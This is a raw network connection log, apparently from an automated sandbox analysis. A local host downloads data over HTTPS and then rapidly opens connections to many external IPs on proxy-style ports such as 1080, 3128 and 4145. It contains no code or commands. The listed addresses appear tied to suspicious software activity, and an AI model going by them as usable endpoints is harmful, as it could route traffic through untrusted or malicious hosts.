Feb 23, 2024 09:45:14.774529934 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774574995 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.774580002 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774774075 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774810076 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.774813890 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774924040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774955034 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.774971008 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.774976015 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775001049 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775010109 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775013924 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775044918 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775048018 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775054932 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775090933 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775095940 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775100946 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775131941 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775132895 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775139093 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775166988 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775171041 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775197983 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775224924 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775233984 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775238037 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775271893 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775285959 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775477886 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775505066 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775506973 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775512934 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775546074 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775558949 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775620937 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775654078 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775657892 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775698900 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775728941 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775732994 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775800943 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775826931 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775835037 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775839090 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775872946 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775876999 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775934935 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.775963068 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.775966883 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776015043 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776047945 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776051998 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776118040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776144028 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776160002 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776164055 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776201010 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776205063 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776288033 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776320934 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776324034 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776329041 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776370049 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776374102 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776407957 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776437998 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776448965 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776453018 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776487112 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776490927 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776563883 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776586056 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776597023 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776602030 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776632071 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776633978 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776638985 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776670933 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776675940 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776745081 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.776781082 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.776784897 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777033091 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777067900 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777071953 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777103901 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777124882 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777134895 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777138948 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777169943 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777194023 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777262926 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777291059 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777295113 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777298927 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777337074 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777338982 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777345896 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777379990 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777384996 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777447939 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777518988 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777518988 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777524948 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777601004 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777630091 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777635098 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777793884 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777822971 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777828932 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777832985 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777863979 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777868986 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777899027 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.777931929 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.777952909 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.778136969 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.810101986 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.885669947 CET	49734	80	192.168.2.4	104.23.141.196
Feb 23, 2024 09:45:14.885735989 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:14.887068987 CET	49735	80	192.168.2.4	50.172.227.202
Feb 23, 2024 09:45:14.887800932 CET	49736	1082	192.168.2.4	181.209.113.234
Feb 23, 2024 09:45:14.890001059 CET	49737	80	192.168.2.4	41.111.243.18
Feb 23, 2024 09:45:14.893927097 CET	49738	34300	192.168.2.4	81.17.94.50
Feb 23, 2024 09:45:14.895874977 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:14.899398088 CET	49740	49922	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:14.902389050 CET	49741	80	192.168.2.4	104.27.122.6
Feb 23, 2024 09:45:14.904918909 CET	49742	12259	192.168.2.4	128.199.221.91
Feb 23, 2024 09:45:14.908015013 CET	49743	80	192.168.2.4	68.185.57.66
Feb 23, 2024 09:45:14.910079002 CET	49744	1080	192.168.2.4	221.231.13.198
Feb 23, 2024 09:45:14.912595987 CET	49745	8080	192.168.2.4	103.124.198.118
Feb 23, 2024 09:45:14.915020943 CET	49746	1080	192.168.2.4	212.69.12.121
Feb 23, 2024 09:45:14.917192936 CET	49747	8080	192.168.2.4	49.0.34.194
Feb 23, 2024 09:45:14.919708967 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:14.922426939 CET	49749	80	192.168.2.4	96.113.159.162
Feb 23, 2024 09:45:14.925678015 CET	49750	30026	192.168.2.4	104.238.111.107
Feb 23, 2024 09:45:14.928390026 CET	49751	4145	192.168.2.4	222.124.130.198
Feb 23, 2024 09:45:14.930824041 CET	49752	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:14.933353901 CET	49753	80	192.168.2.4	104.35.140.42
Feb 23, 2024 09:45:14.935889006 CET	49754	3128	192.168.2.4	154.202.123.46
Feb 23, 2024 09:45:14.938297033 CET	49755	60406	192.168.2.4	198.12.253.117
Feb 23, 2024 09:45:14.941001892 CET	49756	8080	192.168.2.4	102.212.86.57
Feb 23, 2024 09:45:14.961911917 CET	49757	8080	192.168.2.4	168.227.40.66
Feb 23, 2024 09:45:14.963990927 CET	49758	3663	192.168.2.4	107.180.101.18
Feb 23, 2024 09:45:14.966706038 CET	49759	80	192.168.2.4	79.10.114.97
Feb 23, 2024 09:45:14.969129086 CET	49760	5678	192.168.2.4	103.134.38.89
Feb 23, 2024 09:45:14.971615076 CET	49761	25928	192.168.2.4	136.243.148.97
Feb 23, 2024 09:45:14.973228931 CET	80	49734	104.23.141.196	192.168.2.4
Feb 23, 2024 09:45:14.973478079 CET	49734	80	192.168.2.4	104.23.141.196
Feb 23, 2024 09:45:14.973916054 CET	49734	80	192.168.2.4	104.23.141.196
Feb 23, 2024 09:45:14.974282026 CET	49762	45366	192.168.2.4	132.148.129.254
Feb 23, 2024 09:45:14.977360010 CET	49763	5190	192.168.2.4	208.109.13.93
Feb 23, 2024 09:45:14.979620934 CET	49764	8085	192.168.2.4	95.23.214.53
Feb 23, 2024 09:45:14.982346058 CET	49765	18681	192.168.2.4	67.43.228.250
Feb 23, 2024 09:45:14.985654116 CET	49766	8081	192.168.2.4	83.238.80.12
Feb 23, 2024 09:45:14.987071991 CET	49767	4850	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:14.989972115 CET	80	49741	104.27.122.6	192.168.2.4
Feb 23, 2024 09:45:14.990124941 CET	49741	80	192.168.2.4	104.27.122.6
Feb 23, 2024 09:45:14.990271091 CET	49741	80	192.168.2.4	104.27.122.6
Feb 23, 2024 09:45:14.990381956 CET	49768	3256	192.168.2.4	125.87.82.86
Feb 23, 2024 09:45:14.993180990 CET	49769	9445	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:14.994482994 CET	49770	3312	192.168.2.4	78.47.35.35
Feb 23, 2024 09:45:14.998051882 CET	49771	80	192.168.2.4	117.160.250.132
Feb 23, 2024 09:45:15.000396967 CET	49772	8888	192.168.2.4	23.122.184.9
Feb 23, 2024 09:45:15.002973080 CET	49773	11201	192.168.2.4	92.246.139.113
Feb 23, 2024 09:45:15.007002115 CET	49774	8080	192.168.2.4	91.205.197.226
Feb 23, 2024 09:45:15.010720968 CET	49775	17182	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:15.013259888 CET	49776	8081	192.168.2.4	88.199.164.140
Feb 23, 2024 09:45:15.015063047 CET	49777	16379	192.168.2.4	51.158.105.107
Feb 23, 2024 09:45:15.018280029 CET	49778	8000	192.168.2.4	137.184.15.145
Feb 23, 2024 09:45:15.018518925 CET	4145	49752	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:15.018562078 CET	49752	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:15.022808075 CET	49779	3128	192.168.2.4	185.132.179.72
Feb 23, 2024 09:45:15.030688047 CET	49780	14645	192.168.2.4	135.181.30.244
Feb 23, 2024 09:45:15.039927959 CET	80	49749	96.113.159.162	192.168.2.4
Feb 23, 2024 09:45:15.046148062 CET	80	49735	50.172.227.202	192.168.2.4
Feb 23, 2024 09:45:15.047956944 CET	6047	49733	107.181.148.187	192.168.2.4
Feb 23, 2024 09:45:15.048012018 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:15.056992054 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:15.061466932 CET	80	49734	104.23.141.196	192.168.2.4
Feb 23, 2024 09:45:15.061481953 CET	80	49734	104.23.141.196	192.168.2.4
Feb 23, 2024 09:45:15.061908007 CET	49781	80	192.168.2.4	80.228.235.6
Feb 23, 2024 09:45:15.062138081 CET	80	49734	104.23.141.196	192.168.2.4
Feb 23, 2024 09:45:15.062299013 CET	49734	80	192.168.2.4	104.23.141.196
Feb 23, 2024 09:45:15.071980953 CET	49782	8888	192.168.2.4	43.129.249.83
Feb 23, 2024 09:45:15.073914051 CET	49734	80	192.168.2.4	104.23.141.196
Feb 23, 2024 09:45:15.076438904 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.077759027 CET	80	49741	104.27.122.6	192.168.2.4
Feb 23, 2024 09:45:15.077822924 CET	80	49741	104.27.122.6	192.168.2.4
Feb 23, 2024 09:45:15.078000069 CET	80	49741	104.27.122.6	192.168.2.4
Feb 23, 2024 09:45:15.078039885 CET	49741	80	192.168.2.4	104.27.122.6
Feb 23, 2024 09:45:15.079921961 CET	49741	80	192.168.2.4	104.27.122.6
Feb 23, 2024 09:45:15.083830118 CET	18681	49765	67.43.228.250	192.168.2.4
Feb 23, 2024 09:45:15.090750933 CET	49784	7878	192.168.2.4	202.6.233.59
Feb 23, 2024 09:45:15.093369961 CET	5436	49748	160.153.245.187	192.168.2.4
Feb 23, 2024 09:45:15.093429089 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:15.093895912 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:15.094784975 CET	49785	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:15.097723961 CET	49786	80	192.168.2.4	154.113.121.60
Feb 23, 2024 09:45:15.101979971 CET	49787	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:15.104012966 CET	49788	3601	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:15.107315063 CET	49789	32650	192.168.2.4	154.79.254.236
Feb 23, 2024 09:45:15.110147953 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.112878084 CET	49791	80	192.168.2.4	104.16.108.149
Feb 23, 2024 09:45:15.116710901 CET	49792	62691	192.168.2.4	162.215.223.76
Feb 23, 2024 09:45:15.119669914 CET	49793	3128	192.168.2.4	154.202.124.29
Feb 23, 2024 09:45:15.122347116 CET	49794	80	192.168.2.4	74.103.66.15
Feb 23, 2024 09:45:15.124927998 CET	49795	999	192.168.2.4	177.87.250.66
Feb 23, 2024 09:45:15.127650023 CET	49796	8888	192.168.2.4	47.114.101.57
Feb 23, 2024 09:45:15.130181074 CET	49797	80	192.168.2.4	43.153.66.118
Feb 23, 2024 09:45:15.136148930 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:15.143527985 CET	49799	32323	192.168.2.4	103.214.112.238
Feb 23, 2024 09:45:15.146653891 CET	49800	9812	192.168.2.4	200.116.198.222
Feb 23, 2024 09:45:15.147109032 CET	58394	49739	107.148.99.107	192.168.2.4
Feb 23, 2024 09:45:15.147164106 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:15.147403955 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:15.149758101 CET	49801	12129	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.152034044 CET	49802	83	192.168.2.4	103.155.54.38
Feb 23, 2024 09:45:15.152513981 CET	1082	49736	181.209.113.234	192.168.2.4
Feb 23, 2024 09:45:15.154208899 CET	49803	42823	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:15.155864954 CET	49804	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.155889034 CET	443	49804	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.155977011 CET	49804	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.156301975 CET	49804	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.156316996 CET	443	49804	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.156358004 CET	443	49804	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.158484936 CET	49805	3021	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.160562038 CET	49806	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.160579920 CET	443	49806	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.160697937 CET	49806	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.160916090 CET	49806	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.160923958 CET	443	49806	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.160938978 CET	443	49806	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.162081003 CET	80	49734	104.23.141.196	192.168.2.4
Feb 23, 2024 09:45:15.165354013 CET	49807	3128	192.168.2.4	3.9.71.167
Feb 23, 2024 09:45:15.166058064 CET	49808	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.166074991 CET	443	49808	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.167566061 CET	80	49741	104.27.122.6	192.168.2.4
Feb 23, 2024 09:45:15.167718887 CET	49808	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.167996883 CET	49808	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.168006897 CET	443	49808	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.168023109 CET	443	49808	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.169478893 CET	80	49759	79.10.114.97	192.168.2.4
Feb 23, 2024 09:45:15.169914961 CET	49759	80	192.168.2.4	79.10.114.97
Feb 23, 2024 09:45:15.169914961 CET	49759	80	192.168.2.4	79.10.114.97
Feb 23, 2024 09:45:15.173055887 CET	8000	49778	137.184.15.145	192.168.2.4
Feb 23, 2024 09:45:15.180708885 CET	49809	51040	192.168.2.4	104.248.151.220
Feb 23, 2024 09:45:15.181128025 CET	80	49743	68.185.57.66	192.168.2.4
Feb 23, 2024 09:45:15.181791067 CET	49810	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.181813002 CET	443	49810	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.181952000 CET	49810	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.182266951 CET	49810	443	192.168.2.4	8.213.128.90
Feb 23, 2024 09:45:15.182281971 CET	443	49810	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.182306051 CET	443	49810	8.213.128.90	192.168.2.4
Feb 23, 2024 09:45:15.185241938 CET	49811	6120	192.168.2.4	213.252.245.221
Feb 23, 2024 09:45:15.200309992 CET	80	49791	104.16.108.149	192.168.2.4
Feb 23, 2024 09:45:15.200433969 CET	49791	80	192.168.2.4	104.16.108.149
Feb 23, 2024 09:45:15.201142073 CET	49791	80	192.168.2.4	104.16.108.149
Feb 23, 2024 09:45:15.201797009 CET	49812	5678	192.168.2.4	182.93.69.74
Feb 23, 2024 09:45:15.203191042 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:15.205324888 CET	49814	80	192.168.2.4	50.172.23.10
Feb 23, 2024 09:45:15.206825018 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:15.208868027 CET	49816	5678	192.168.2.4	136.228.160.250
Feb 23, 2024 09:45:15.214939117 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:15.217710018 CET	49818	20056	192.168.2.4	103.215.139.32
Feb 23, 2024 09:45:15.218261003 CET	6047	49733	107.181.148.187	192.168.2.4
Feb 23, 2024 09:45:15.218943119 CET	49819	46859	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:15.221045017 CET	49820	52982	192.168.2.4	188.165.237.26
Feb 23, 2024 09:45:15.223368883 CET	4145	49798	72.195.114.169	192.168.2.4
Feb 23, 2024 09:45:15.223400116 CET	49821	8587	192.168.2.4	178.62.103.49
Feb 23, 2024 09:45:15.223454952 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:15.229739904 CET	49822	23670	192.168.2.4	161.97.173.42
Feb 23, 2024 09:45:15.230519056 CET	8080	49774	91.205.197.226	192.168.2.4
Feb 23, 2024 09:45:15.230695009 CET	49774	8080	192.168.2.4	91.205.197.226
Feb 23, 2024 09:45:15.230982065 CET	49774	8080	192.168.2.4	91.205.197.226
Feb 23, 2024 09:45:15.231924057 CET	49823	3180	192.168.2.4	45.179.71.90
Feb 23, 2024 09:45:15.233710051 CET	49824	5678	192.168.2.4	41.90.242.102
Feb 23, 2024 09:45:15.234173059 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.234261990 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.234656096 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.239989996 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.240119934 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.245018005 CET	12129	49801	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.251243114 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.252005100 CET	1080	49744	221.231.13.198	192.168.2.4
Feb 23, 2024 09:45:15.252074003 CET	49744	1080	192.168.2.4	221.231.13.198
Feb 23, 2024 09:45:15.252376080 CET	49744	1080	192.168.2.4	221.231.13.198
Feb 23, 2024 09:45:15.253315926 CET	3021	49805	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.253554106 CET	49825	80	192.168.2.4	104.16.221.57
Feb 23, 2024 09:45:15.255393028 CET	49826	30001	192.168.2.4	111.3.102.135
Feb 23, 2024 09:45:15.255990028 CET	49827	3128	192.168.2.4	154.83.10.137
Feb 23, 2024 09:45:15.257703066 CET	49828	8080	192.168.2.4	103.247.21.98
Feb 23, 2024 09:45:15.262260914 CET	49829	9090	192.168.2.4	189.240.60.171
Feb 23, 2024 09:45:15.263474941 CET	4145	49785	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:15.263564110 CET	49785	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:15.263973951 CET	49785	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:15.264478922 CET	49830	1976	192.168.2.4	41.65.236.39
Feb 23, 2024 09:45:15.265989065 CET	49831	80	192.168.2.4	41.111.187.214
Feb 23, 2024 09:45:15.267966986 CET	49832	3128	192.168.2.4	212.77.163.196
Feb 23, 2024 09:45:15.270468950 CET	49833	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:15.271497965 CET	49834	10011	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.272721052 CET	8080	49756	102.212.86.57	192.168.2.4
Feb 23, 2024 09:45:15.272813082 CET	49756	8080	192.168.2.4	102.212.86.57
Feb 23, 2024 09:45:15.272914886 CET	4145	49751	222.124.130.198	192.168.2.4
Feb 23, 2024 09:45:15.272938967 CET	4145	49787	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:15.272953987 CET	3601	49788	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:15.273049116 CET	49788	3601	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:15.273050070 CET	49787	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:15.273263931 CET	49756	8080	192.168.2.4	102.212.86.57
Feb 23, 2024 09:45:15.273549080 CET	49787	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:15.273817062 CET	49788	3601	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:15.274080038 CET	49835	8080	192.168.2.4	107.178.9.186
Feb 23, 2024 09:45:15.276251078 CET	49836	13629	192.168.2.4	113.53.29.228
Feb 23, 2024 09:45:15.279434919 CET	49837	80	192.168.2.4	159.65.245.255
Feb 23, 2024 09:45:15.281400919 CET	49838	5678	192.168.2.4	116.118.98.9
Feb 23, 2024 09:45:15.283364058 CET	49839	59341	192.168.2.4	200.6.175.10
Feb 23, 2024 09:45:15.284774065 CET	49840	46849	192.168.2.4	162.241.46.54
Feb 23, 2024 09:45:15.288089037 CET	49841	80	192.168.2.4	172.67.182.83
Feb 23, 2024 09:45:15.288480997 CET	80	49791	104.16.108.149	192.168.2.4
Feb 23, 2024 09:45:15.288501024 CET	80	49791	104.16.108.149	192.168.2.4
Feb 23, 2024 09:45:15.288979053 CET	49791	80	192.168.2.4	104.16.108.149
Feb 23, 2024 09:45:15.289222956 CET	80	49791	104.16.108.149	192.168.2.4
Feb 23, 2024 09:45:15.289247036 CET	49842	999	192.168.2.4	201.77.108.1
Feb 23, 2024 09:45:15.289278984 CET	49791	80	192.168.2.4	104.16.108.149
Feb 23, 2024 09:45:15.292418003 CET	49843	999	192.168.2.4	201.174.175.82
Feb 23, 2024 09:45:15.293890953 CET	49844	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:15.295974016 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:15.298496008 CET	49846	43110	192.168.2.4	89.22.17.62
Feb 23, 2024 09:45:15.300379038 CET	49847	32770	192.168.2.4	94.130.181.59
Feb 23, 2024 09:45:15.302016973 CET	49848	6764	192.168.2.4	198.105.111.86
Feb 23, 2024 09:45:15.303808928 CET	49849	29466	192.168.2.4	66.228.33.190
Feb 23, 2024 09:45:15.304852962 CET	49850	26777	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:15.309365988 CET	49851	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:15.310009956 CET	49852	8181	192.168.2.4	188.235.0.207
Feb 23, 2024 09:45:15.311887980 CET	49853	3128	192.168.2.4	46.101.102.134
